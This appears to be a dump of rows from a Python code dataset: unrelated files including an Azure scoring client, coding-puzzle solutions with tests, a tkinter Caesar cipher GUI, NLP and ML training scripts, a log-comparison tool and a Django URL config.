response = requests.post(scoring_uri, input_data, headers=headers)
if response.status_code == 200:
result = response.text
else:
print(response.json())
print("Error code: %d" % (response.status_code))
print("Message: %s" % (response.json()['message']))
os.exit()
return(result)
if __name__ == '__main__':
# URL for the web service
scoring_uri = 'http://32f74919-50e0-46cb-9c71-xxxxxxxxx.southeastasia.azurecontainer.io/score'
# If the service is authenticated, set the key or token
key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxx'
# Load the data from the csv file
file_input = './data/data.csv'
data_csv = pd.read_csv(file_input)
# Get the predict result
result = predict(data_csv, scoring_uri, key)
# Save the result into csv file
file_output = './data/output.csv'
col_name = ['predict']
output = pd.DataFrame(columns=col_name, data=eval(result))
output.to_csv(file_output, index=False)
|
10,091 | 87db268a672ff4a9d6f969ded11b88e2646e0d15 | def scramble(s1, s2):
for i in range(100):
try:
if s2.count(s2[i]) > s1.count(s2[i]):
return False
except:
pass
return len(set(s2) - (set(s1) & set(s2))) == 0
#or from collections import Counter
|
10,092 | 17d1ff4c816a7de15be79b350b7372ce2f1e3541 | #!/usr/bin/python
"""
Gather several descriptive systems about a CCGbank instance:
- Number of categories vs n, where n is a frequency threshold
- Avg. category ambiguiy vs n
- Expected category entropy
"""
from os.path import join as pjoin
import CCG, pickles
import Gnuplot, Gnuplot.funcutils
import math, re, sys
from CCG.Lexicon import Lexicon
def plot(control, expLex, title, xLabel, yLabel, fName):
g = Gnuplot.Gnuplot(debug=1)
g('set data style lines')
g.title(title)
controlData = Gnuplot.PlotItems.Data(control, title="control")
expData = Gnuplot.PlotItems.Data(expLex, title="expLex")
g.plot(controlData, expData)
g.xlabel(xLabel)
g.ylabel(yLabel)
output = open('%s.txt' % fName, 'w')
g.hardcopy('%s.eps' % fName, enhanced = 1, color = 1)
print control
print expLex
for i, (cr, mr) in enumerate(zip(control, expLex)):
output.write('%d %.4f %.4f\n' % (i, mr, cr))
print '%d %.4f %.4f' % (i, mr, cr)
raw_input("Press any key to continue.")
def plotSingle(data, title, xLabel, yLabel, fName):
g = Gnuplot.Gnuplot(debug=1)
g('set data style lines')
g.title(title)
data = Gnuplot.PlotItems.Data(data, title="control")
g.plot(data)
g.xlabel(xLabel)
g.ylabel(yLabel)
output = open('%s.txt' % fName, 'w')
g.hardcopy('%s.eps' % fName, enhanced = 1, color = 1)
raw_input("Press any key to continue.")
def merge(d1, d2):
rows = []
for row in zip(d1, d2):
cols = [row[0][0]]
for col in row:
cols.append(col[1])
print cols
rows.append(cols)
return rows
def plotCoverage(expLex, expDev, controlLex, controlDev,
thresh, dataName = ''):
controlRows = controlLex.coverageAtThresh(thresh, controlLex)
expRows = expLex.coverageAtThresh(thresh, expDev)
if dataName:
fileName = 'coverage_%s' % dataName
else:
fileName = 'coverage'
plot(controlRows, expRows, "Token-category coverage at frequency threshold N", "N", "Coverage", fileName)
def plotCatSize(expLex, control, thresh, dataName = ''):
expRows = expLex.catsAtFreqThresh(thresh)
controlRows = control.catsAtFreqThresh(thresh)
if dataName:
fileName = 'categories_%s' % dataName
else:
fileName = 'categories'
plot(controlRows, expRows, "Category size at frequency threshold N", "N", "Categories", fileName)
def printMissing(expLex, control):
expMissing = expLex.getMissing(control, 1)
print "Missing from CCGbank"
for f, c, words in expMissing:
print "%d: %s (%s)" % (f, c, ', '.join(sorted(['%s|%s' % (w[0], w[1]) for w in words.keys()])[:5]))
print "Missing from New Version"
controlMissing = control.getMissing(expLex, 1)
for f, c, words in controlMissing:
print "%d: %s (%s)" % (f, c, ', '.join(sorted([w[0] for w in words.keys()[:5]])))
def plotAvgEntropy(expLex, control, maxThresh, dataName = ''):
expRows = expLex.avgEntropyAtN(maxThresh)
controlRows = control.avgEntropyAtN(maxThresh)
if dataName:
fileName = 'entropy_%s' % dataName
else:
fileName = 'entropy'
plot(controlRows, expRows, "Avg. Entropy with Categories more Frequent than N", "N", "Entropy", fileName)
# plotSingle(expLex, "Avg. Entropy with Categories more Frequent than N", "N", "Avg. Entropy", fileName)
def printEntropyChanges(expLex, control):
changes = expLex.entropyChanges(control)
for change, word, expEnt, controlEnt in changes:
word = '|'.join(word)
if change != 0:
print "%.3f: %s %.3f %.3f" % (change, word, expEnt, controlEnt)
def plotLines(lines, title, xLabel, yLabel, fName):
g = Gnuplot.Gnuplot(debug=1)
g('set data style lines')
g.title(title)
data = []
for line, lineTitle in lines:
data.append(Gnuplot.PlotItems.Data(line, title=lineTitle))
g.plot(*data)
g.xlabel(xLabel)
g.ylabel(yLabel)
g.hardcopy('/home/mhonn/code/thesis/analysis/%s.eps' % fName, enhanced = 1, color = 1)
raw_input("Press any key to continue.")
def main():
verbose = bool(sys.argv[1] == '-v')
if verbose: sys.argv.pop(1)
expLex = Lexicon(pjoin(sys.argv[1], 'lexicons', '02-21.lex'))
expUns = Lexicon(pjoin(sys.argv[1], 'lexicons', '00.lex'))
conLex = Lexicon(pjoin(sys.argv[2], 'lexicons', '02-21.lex'))
conUns = Lexicon(pjoin(sys.argv[2], 'lexicons', '00.lex'))
if verbose: printMissing(expLex, conLex)
print "# Cats in experiment lexicon: %d" % (len(expLex.cats))
print "# Cats in control lexicon: %d" % (len(conLex.cats))
print "Delta: %.3f" % (len(expLex.cats)/float(len(conLex.cats)))
expCats = len([c for (c, occ) in expLex.cats.iteritems()
if sum(occ.values()) > 9])
conCats = len([c for (c, occ) in conLex.cats.iteritems()
if sum(occ.values()) > 9])
print "# Cats in experiment lexicon >=10: %d" % (expCats)
print "# Cats in control lexicon >=10: %d" % (conCats)
print "Delta: %.3f" % (expCats/float(conCats))
expCov, expAvgSize = expLex.coverageOnUnseen(expUns)
conCov, conAvgSize = conLex.coverageOnUnseen(conUns)
print "Coverage with experiment lexicon: %.6f" % (expCov)
print "Coverage with control lexicon: %.6f" % (conCov)
print "Delta: %.3f" % (expCov/conCov)
print "Avg. Tag dict size with experiment lexicon: %.3f" % (expAvgSize)
print "Avg. Tag dict size with control lexicon: %.3f" % (conAvgSize)
print "Delta: %.3f" % (expAvgSize/conAvgSize)
try:
import psyco
psyco.full()
except:
pass
if __name__ == '__main__':
import pickles
if len(sys.argv) not in [3, 4]:
print "USAGE: <experiment lex> <control lex>"
sys.exit(1)
main()
|
10,093 | cbfc5eb84726f99a8fad9a260020f0af022b81a5 | import unittest
def solution(S):
# ********** Attempt 2 - 2019/09/20 **********
count = 0
result = ''
current = 0
for i in range(len(S)):
if S[i] == '(':
count += 1
else:
count -= 1
if count == 0:
result += S[current + 1: i]
current = i + 1
return result
# ********** Attempt 1 - 2019/09/20 **********
# stack = []
# result = []
# for c in S:
# if c == "(":
# stack.append(c)
# if len(stack) > 1:
# result.append(c)
# else:
# stack.pop()
# if len(stack) > 0:
# result.append(c)
# return ''.join(result)
class TestSolution(unittest.TestCase):
def test1(self):
S = "(()())(())"
answer = "()()()"
self.assertEqual(solution(S), answer)
def test2(self):
S = "(()())(())(()(()))"
answer = "()()()()(())"
self.assertEqual(solution(S), answer)
def test3(self):
S = "()()"
answer = ""
self.assertEqual(solution(S), answer)
if __name__ == "__main__":
unittest.main() |
10,094 | 9c9b302e18b5a29b58a7779c654cd57e21a9cdd8 | #
# CAESAR CIPHER - PART 6
# Add a GUI
# - by JeffGames
#
#
#
# ToDo:
# 1. Add JeffGames icon
# 2. Handle spaces in the string
# Import tkinter, our GUI framework
from tkinter import * # Import tkinter, our GUI framework
root = Tk()
# Variables used by the main program.
alphabet01 = 'GjlZCMaQKU"/-Xf$£\\mrw:>H(%Fo&tD<!gJLzbiSxBcT,dqPYy=*OA~_?^.)E;evN+R#k\'@hnIuVWsp'
alphabet02 = 'hkS*F>ucL/l-)VPB£iR\\ZUdI\'CQ$z(@?=f<ta:m#Wvp;~n!Yg."^sxMHNKDwybjr_,O%oq+TJGXAEe&'
alphabet03 = '(OIce$TnM=JvF?j<&X+S>i\\h"EY\'dK£,lq!Z@~QmbyD-wUWNsrV^H:fB.aPpkL_otC/);RzAGxg%*#u'
# Define what happens when the go button is clicked
fooAlpha = alphabet01
def clickAlpha():
global fooAlpha
print("Alphabet from clickAlpha = ", algo.get()) # Calls algo and prints its value
myAlpha = algo.get()
print("myAlpha = ", myAlpha) # debug printing
if myAlpha == "Alpha1":
print(alphabet01) # debug printing
fooAlpha = alphabet01
elif myAlpha == "Alpha2":
print(alphabet02) # debug printing
fooAlpha = alphabet02
else:
print(alphabet03) # debug printing
fooAlpha = alphabet03
def clickEncrypt():
msgEncrypt = msgInput.get()
msgEncrypt = str(msgEncrypt)
#print(msgEncrypt) # Used for debugging
caesarShift = cesar.get()
caesarShift = int(caesarShift)
useAlpha = fooAlpha
useAlpha = str(useAlpha)
print(useAlpha) # Used for debugging
newMessage = ""
for character in msgEncrypt:
if character in useAlpha:
position = useAlpha.find(character)
# NB: len(alphabet) handles a list of any length
newPosition = (position + caesarShift)%len(useAlpha)
newCharacter = useAlpha[newPosition]
newMessage += newCharacter
#Put the new message into the message output field
else:
newMessage += character # line to handle a character which isn't in the alphabet variable
msgOutput.delete(0, END) # Clear the output field after GO is clicked
# Ans = str(newMessage) # Read message for putting into the output field
msgOutput.insert(0, newMessage) #(0, Ans) # Put the message from input field into
def clickDecrypt():
print("Decrypt pressed")
msgEncrypt = msgInput.get()
msgEncrypt = str(msgEncrypt)
#print(msgEncrypt) # Used for debugging
caesarShift = cesar.get()
caesarShift = int(caesarShift)
useAlpha = fooAlpha # Hard coding the algo
useAlpha = str(useAlpha)
print(useAlpha) # Used for debugging
newMessage = ""
for character in msgEncrypt:
if character in useAlpha:
position = useAlpha.find(character)
# NB: len(alphabet) handles a list of any length
newPosition = (position - caesarShift)%len(useAlpha)
newCharacter = useAlpha[newPosition]
newMessage += newCharacter
else:
newMessage += character # line to handle a character which isn't in the alphabet variable
msgOutput.delete(0, END) # Clear the output field after GO is clicked
# Ans = str(newMessage) # Read message for putting into the output field
msgOutput.insert(0, newMessage) #(0, Ans) # Put the message from input field into
def moveCaesar(sld): # A variable must be in here for the function to work
print("Shift = ", cesar.get()) # Calls cesar variable and prints its value
def clickClear():
msgInput.delete(0, END)
msgOutput.delete(0, END)
print("Cleared all messages")
def clickCopy():
# return # Will eventually copy the decrypted or encrypted text to clipboard
root.clipboard_clear() #clear the computer's clopboard
# root.clipboard_append(msgOutput) #populate the clipboard
print('clipboard module accessed')
def clickQuit(): # Created to have a pop-up to confirm quit.
btnExit(command=root.quit)
# Set up for the Alphabet being used. Alphabet 1 is default
algo = StringVar()
algo.set("Alpha1") # Sets Alphabet 1 as default
print("Initial alphabet: ", algo.get()) # Calls algo.set and prints its value
# Set up for the Casar shift. 0 is the default
cesar = IntVar()
cesar.set(1)
print("Initial shift: ", cesar.get()) # Calls cesar variable and prints its value
# SET UP THE CANVAS
root.title("Caesar Cipher by JeffGames")
# ---------------------------------------------------
# SET UP THE BUTTONS, Message boxes, and input areas
# ---------------------------------------------------
# Welcome message
welcFrame = LabelFrame(root, padx=10, pady=10, bg='blue')
lblWelcome = Label(welcFrame, text="Welcome to the Caesar Cipher program", bg='blue', fg='white')
# Input message box with a heading instructing user to paste or type message
lblMsgIn = Label(root, text="Type or paste your message in the box below.")
msgInput = Entry(root)
# Parent frame for Alphabet and Caesar shift
choicesFrame = LabelFrame(root, padx= 5, pady=5)
# Alphabet choices
alphaFrame = LabelFrame(choicesFrame, padx=2, pady=2)
lblAlphaChoice = Label(alphaFrame, text="Choose your encryption algo")
btnAlpha1 = Radiobutton(alphaFrame, text="Alphabet 1", variable=algo, value="Alpha1", command=clickAlpha)
btnAlpha2 = Radiobutton(alphaFrame, text="Alphabet 2", variable=algo, value="Alpha2",command=clickAlpha)
btnAlpha3 = Radiobutton(alphaFrame, text="Alphabet 3", variable=algo, value="Alpha3",command=clickAlpha)
# Caesar shift slider
caesarFrame = LabelFrame(choicesFrame, padx=2, pady=2)
lblCaesar = Label(caesarFrame, text="Set your Caesar Shift")
sldrCaesar = Scale(caesarFrame, from_=0, to=80, variable=cesar, orient=VERTICAL, command=moveCaesar)
# Encrypt / Decrypt user choices
cryptFrame = LabelFrame(root, padx=10, pady=10)
lblCryptMsg = Label(cryptFrame, text="Press a button to Encrypt or Decrypt a message", padx=5, pady=5)
btnCrypt1 = Button(cryptFrame, text="Encrypt", command=clickEncrypt)
btnCrypt2 = Button(cryptFrame, text="Decrypt", command=clickDecrypt)
#Output box
msgOutput = Entry(root)
# Clear, Copy to clipboard, and Exit buttons
btnClear = Button(root, text="Clear All", command=clickClear)
btnCopy = Button(root, text="Copy to clipboard", command=clickCopy)
btnExit = Button(root, text="Quit", command=root.quit)
# -----------------------------
# PUT THE BUTTONS ON THE SCREEN
# -----------------------------
# ROW 0 - Welcome message
welcFrame.grid(row=0, columnspan=3, sticky=W+E)
lblWelcome.grid(row=0, column=0, columnspan=3)
# ROW 1 & 2 - User's Message input heading and area
lblMsgIn.grid(row=1, column=0, columnspan=3)
msgInput.grid(row=2, column=0, columnspan=3, sticky=W+E)
choicesFrame.grid(row=3, columnspan=3, sticky=W+E)
# ROW 3 & 4 - Choose Alphabet button and message placement
alphaFrame.grid(row=0, column=0, sticky=W+E) #span=3
lblAlphaChoice.grid(row=0, column=0, columnspan=3, sticky=W)
btnAlpha1.grid(row=1, column=0)
btnAlpha2.grid(row=2, column=0)
btnAlpha3.grid(row=3, column=0)
# ROW 5 & 6 Caesar shift slider
#caesarFrame.grid(row=5, columnspan=3, sticky=W+E)
caesarFrame.grid(row=0, column=1, sticky=W+E)
lblCaesar.grid(row=5, column=0, columnspan=3, sticky=W)
sldrCaesar.grid(row=6, column=0, columnspan=3, sticky=W+E)
# ROW 7 & 8 - Encrypt Decrypt button and message placement
cryptFrame.grid(row=7, columnspan=3, sticky=W+E)
lblCryptMsg.grid(row=7, column=0, columnspan=3, sticky=W)
btnCrypt1.grid(row= 8, column=0)
btnCrypt2.grid(row= 8, column=1)
# ROW 0 - User's Message ouput heading and area
msgOutput.grid(row=9, column=0, columnspan=3, sticky=W+E)
# ROW 10 - Clear Messages & Copy to clipboard, Exit program button placement
btnClear.grid(row=10, column=0)
btnCopy.grid(row=10, column=1)
btnExit.grid(row=10, column=2)
# tkinter mainloop
root.mainloop()
|
10,095 | f6e392a9fee110a8a34f6456288654790c262533 | # https://atcoder.jp/contests/abc203/tasks/abc203_b
def sol1(N,K):
t = 0
for n in range(1, N+1):
for k in range(1, K+1):
t += n*100 + k
return t
def sol(N,K):
return sol1(N,K)
def test_1():
assert sol(1, 2) == 203
def test_2():
assert sol(3, 3) == 1818
# sol1(AC,8min)
# N, K = [int(i) for i in input().split()]
# t = 0
# for n in range(1, N+1):
# for k in range(1, K+1):
# t += n*100 + k
# print(t)
|
10,096 | 7761a90f9180df39fd134abce9949ed766cc6ecb | import sys
import pdb
import numpy as np
import pandas as pd
import seaborn as sns
import pickle
from sqlalchemy import create_engine
from nltk.tokenize import word_tokenize
from nltk.stem import WordNetLemmatizer
from sklearn.pipeline import Pipeline
from sklearn.metrics import confusion_matrix
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer
from sklearn.metrics import classification_report
from sklearn.multioutput import MultiOutputClassifier
from sklearn.tree import DecisionTreeClassifier
from sklearn.ensemble import AdaBoostClassifier
from scipy.stats import randint
from sklearn.model_selection import RandomizedSearchCV
import nltk
nltk.download(['punkt', 'wordnet'])
def load_data(database_filepath):
"""
Load ML data from database and return features, X and targets, Y
Args:
database_filepath (str): filepath of database
Returns:
X (dataframe): feature variables
Y (dataframe): target variables
"""
engine_name = 'sqlite:///' + database_filepath
engine = create_engine(engine_name)
df =pd.read_sql("SELECT * FROM messages_table", engine)
X = df['message']
Y = df.drop(['id','message','original','genre'], axis=1)
return X, Y
def tokenize(text):
"""
returns a tokenized, lemmatized and normalized version of text
Args:
text (str): input text to be tokenized, lemmatized and normalized
Returns:
Tokenized, lemmatized and normalized version of text
"""
tokens = word_tokenize(text)
lemmatizer = WordNetLemmatizer()
clean_tokens = []
for tok in tokens:
clean_tok = lemmatizer.lemmatize(tok).lower().strip()
clean_tokens.append(clean_tok)
return clean_tokens
def build_model(X_train, Y_train):
"""
Create pipline model, fit and optimize using randomized gridsearch
Args:
X_train (dataframe): feature variables to be used for training
Y_train (dataframe): target variables to be used for training
Returns:
Optimized model
"""
#Choosing a straighforward single tree model to make training tractable in terms of time
DTC = DecisionTreeClassifier(random_state = 11)
pipeline = Pipeline([
('vect', CountVectorizer(tokenizer=tokenize)),
('tfidf', TfidfTransformer()),
('clf', MultiOutputClassifier(estimator=DTC))
])
parameters = {'clf__estimator__criterion': ["gini", "entropy"],
'clf__estimator__splitter': ["best", "random"],
'clf__estimator__max_depth': randint(3, 6),
'clf__estimator__min_samples_split': randint(2,6)}
grid_obj = RandomizedSearchCV(pipeline,parameters,n_iter=5, cv=5 )
grid_obj.fit(X_train, Y_train)
return grid_obj.best_estimator_
def print_score(y_actual, y_pred, measure):
"""
Creates a pretty print of the results of sklearns classification report comparing y_actual and y_pred
Args:
y_actual (dataframe): expected values
y_pred (dataframe): predicted values
measure (str): choice of measure ('weighted avg','micro avg','macro avg' )
"""
print("\t\tWeighted Average Scores Over Each Output Class\n")
print("\t\tPrecision\tRecall\t\tF1_Score")
for column_name, column in y_actual.iteritems():
report = classification_report(y_actual[column_name], y_pred[column_name], output_dict=True )
prec = report[measure]['precision']
recall = report[measure]['recall']
f1 = report[measure]['f1-score']
print("%20.2f %15.2f % 15.2f" % (prec, recall, f1) + "\t\t" + column_name )
def evaluate_model(model, X_test, Y_test):
"""
Runs test data through a model and creates an evaluation report of the results
Args:
model (model object): model to be used for evaulation
y_actual (dataframe): expected values
y_pred (dataframe): predicted values
"""
#Make predictions with the model
Y_pred = model.predict(X_test)
#convert numpy output to dataframe and add columns
Y_pred_df = pd.DataFrame(Y_pred)
Y_pred_df.columns = Y_test.columns
#Convert predictions and correct y values to float for faciliate comparison
Y_pred_df = Y_pred_df.astype('float64')
Y_test = Y_test.astype('float64')
print_score(Y_test, Y_pred_df, 'weighted avg')
def save_model(model, model_filepath):
"""
Saves pickle file of the model
Args:
model (model object): model to be saved in pickle file
model_filepath: filepath to save to
"""
pickle.dump(model, open(model_filepath, 'wb'))
def main():
if len(sys.argv) == 4:
database_filepath, model_filepath, percentage_data = sys.argv[1:]
print('Loading data...\n DATABASE: {}'.format(database_filepath))
X, Y = load_data(database_filepath)
X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2)
#Lets us select smaller sample sizes to faciliate quicker debug
len_full_dataset = len(X_train)
sample_size = int((len_full_dataset/100)*int(percentage_data))
print('Building model...')
model = build_model(X_train[:sample_size], Y_train[:sample_size])
print('Training model...')
model.fit(X_train[:sample_size], Y_train[:sample_size])
print('Evaluating model...')
evaluate_model(model, X_test, Y_test)
print('Saving model...\n MODEL: {}'.format(model_filepath))
save_model(model, model_filepath)
print('Trained model saved!')
else:
print('Please provide the filepath of the disaster messages database '\
'as the first argument, the filepath of the pickle file to '\
'save the model to as the second argument and a percentage of'\
'the input data to be used (from 1 to 100). \n\nExample: python '\
'train_classifier.py ../data/DisasterResponse.db classifier.pkl 50')
if __name__ == '__main__':
main() |
10,097 | e240be130d20225aa423c8f71ae8a48294a18ff7 | WIDTH = 'width'
HEIGHT = 'height'
def get_bbox(pts):
bbox = {'x': int(pts[:, 0].min()), 'y': int(pts[:, 1].min())}
bbox['width'] = int(pts[:, 0].max() - bbox['x'])
bbox['height'] = int(pts[:, 1].max() - bbox['y'])
return bbox
def in_bbox(bbox, x, y):
return x >= bbox['x'] and x <= bbox['x'] + bbox[WIDTH] and y >= bbox['y'] and y <= bbox['y'] + bbox[HEIGHT] |
10,098 | 473c4781ecc571c28b8a17abdc7b1b754e3ef34f | import re
import sys
import os
def parseTH3Log( logFileName ):
resultsDict = dict()
with open(logFileName) as f:
taskName = ""
taskResult=""
for line in f:
if line.rstrip() == "Begin MISUSE testing." or line.rstrip() == "End MISUSE testing." :
continue
# the misuse statements come from specific TH3 tests:
#cov1/main14.test, cov1/main23.test, and cov1/util02.test
# they interfere with the normal begin/end tags
if line.startswith("Number of .test modules: ") :
resultsDict["Test Modules"] = line[25:-1]
elif line.startswith("Exit Code: ") :
resultsDict["Exit Code"] = line[11:-1]
elif line.startswith("Begin ") :
#rstrip() removes ALL whitespaces on the right side, including '\n'
taskName = line.rstrip()[len("Begin "):] # line without "Begin "
taskResult=""
elif line.startswith("End ") :
if not line[len("End "):].startswith(taskName) :
print "Error while parsing task \"" + taskName + "\". Mismatching Begin/End tags."
else :
if (resultsDict.has_key(taskName)) :
print "Error: Duplicate task entry \"" + taskName + "\""
else :
resultsDict[taskName] = taskResult.rstrip()
else :
taskResult= taskResult + line
#print line
return resultsDict
def saveListToFile (lst, fileName):
f = open(fileName,'w')
for x in lst:
f.write(str(x) + '\n') # python will convert \n to os.linesep
f.close()
def saveDictToFile (dct, fileName):
f = open(fileName,'w')
for x in dct.keys():
f.write(x + '->\n') # python will convert \n to os.linesep
item=dct[x]
if isinstance(item, str):
f.write('\t' + dct[x].replace('\n', '\n\t') + '\n')
else: # assume that item is a tuple of strings
f.write('\tsimulatorResult:\n')
f.write('\t\t' + item[0].replace('\n', '\n\t') + '\n')
f.write('\tvariantResult:\n')
f.write('\t\t' + item[1].replace('\n', '\n\t') + '\n')
f.close()
def main():
if (len(sys.argv) != 4) :
print "Usage: python " + sys.argv[0] + " <Simulator Log> <Variant Log> <output directory>"
sys.exit(-1)
simulatorResults = parseTH3Log(sys.argv[1])
variantResults = parseTH3Log(sys.argv[2])
numberOfTestModules = 0
numberOfSimTestModules = 0
numberOfVarTestModules = 0
if "Test Modules" in variantResults:
numberOfTestModules = int(variantResults["Test Modules"])
#if "Test Modules" in simulatorResults:
# numberOfSimTestModules = int(variantResults["Test Modules"])
simulatorExitCode = simulatorResults["Exit Code"]
variantExitCode = variantResults["Exit Code"]
del simulatorResults["Exit Code"]
del variantResults["Exit Code"]
if "Test Modules" in simulatorResults:
del simulatorResults["Test Modules"]
if "Test Modules" in variantResults:
del variantResults["Test Modules"]
numberOfVarTestModules = len(simulatorResults)
numberOfSimTestModules = len(variantResults)
keySet = set(simulatorResults.keys()).union(set(variantResults.keys()))
onlyInSim = dict() # test present only in simulator log
onlyInVar = dict() # test present only in variant log
okInBoth = set() # empty result in both logs
sameErrors = dict()# same non-empty result in both logs
errInSim = dict() # error in simulator, ok in variant
errInVar = dict() # error in variant, ok in simulator
diffErrors = dict()# different errors
for key in keySet:
if (not simulatorResults.has_key(key)):
onlyInVar[key] = variantResults[key]
elif (not variantResults.has_key(key)):
onlyInSim[key] = simulatorResults[key]
else:
simResult = simulatorResults[key]
varResult = variantResults[key]
if (simResult == varResult):
if (len(simResult) == 0):
okInBoth.add(key)
else:
sameErrors[key] = simResult
elif (len(simResult)==0) :
errInVar[key] = varResult
elif (len(varResult)==0) :
errInSim[key] = simResult
else:
diffErrors[key] = (simResult, varResult)
testOnlyInSim = len(onlyInSim)
testOnlyInVar = len(onlyInVar)
testOkInBoth = len(okInBoth)
testSameErrors = len(sameErrors)
testDiffErrors = len(diffErrors)
testErrInSim = len(errInSim)
testErrInVar = len(errInVar)
testsCovered = len(keySet)
print "bothOK: " + str(testOkInBoth)
print "sameErrors: " + str(testSameErrors)
print "differentErrors: " + str(testDiffErrors)
print "Test only in simLog: " + str(testOnlyInSim)
print "Test only in varLog: " + str(testOnlyInVar)
print "ErrorOnlyInSim: " + str(testErrInSim)
print "ErrorOnlyInVar: " + str(testErrInVar)
print " ------"
print "Test modules: " + str(numberOfTestModules)
if testOnlyInSim+testOnlyInVar+testDiffErrors+testErrInSim+testErrInVar+testSameErrors == 0 :
if numberOfTestModules == numberOfVarTestModules and numberOfSimTestModules == numberOfTestModules :
print "Same behaviour, no errors, full coverage."
else:
print "Same behaviour, no errors, no full coverage."
elif testOnlyInSim+testOnlyInVar+testDiffErrors+testErrInSim+testErrInVar == 0 :
if numberOfTestModules == numberOfVarTestModules and numberOfSimTestModules == numberOfTestModules :
print "Same behaviour, with errors, full coverage."
else:
print "Same behaviour, with errors, no full coverage."
elif (testOnlyInSim+testOnlyInVar == 0 and testErrInSim == testErrInVar) :
if numberOfTestModules == numberOfVarTestModules and numberOfSimTestModules == numberOfTestModules :
print "Different behaviour, different errors in the same tests, full coverage."
else:
print "Different behaviour, different errors in the same tests, no full coverage."
elif testsCovered > numberOfTestModules :
print "Too many tests covered."
else:
if numberOfTestModules == numberOfVarTestModules and numberOfSimTestModules == numberOfTestModules :
print "Different behaviour, different errors in different tests, full coverage."
else:
print "Different behaviour, different errors in different tests, no full coverage."
outDir = sys.argv[3]
if not os.path.exists(outDir):
os.makedirs(outDir)
f = open(outDir + "/ExitCodes.txt",'w')
f.write('Var: ' + variantExitCode + '\nSim: ' + simulatorExitCode)
f.close()
saveDictToFile(onlyInSim, outDir + "/TestOnlyInSim.txt")
saveDictToFile(onlyInVar, outDir + "/TestOnlyInVar.txt")
saveListToFile(okInBoth, outDir + "/OkInBoth.txt")
saveDictToFile(sameErrors, outDir + "/SameErrors.txt")
saveDictToFile(diffErrors, outDir + "/DiffErrors.txt")
saveDictToFile(errInSim, outDir + "/ErrOnlyInSim.txt")
saveDictToFile(errInVar, outDir + "/ErrOnlyInVar.txt")
# call the main function
main()
|
10,099 | fbc85d162745f5a57561728ce8ea0cc7075da491 | from django.urls import path
from .import views
urlpatterns = [
path('', views.rent, name='rent'),
]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.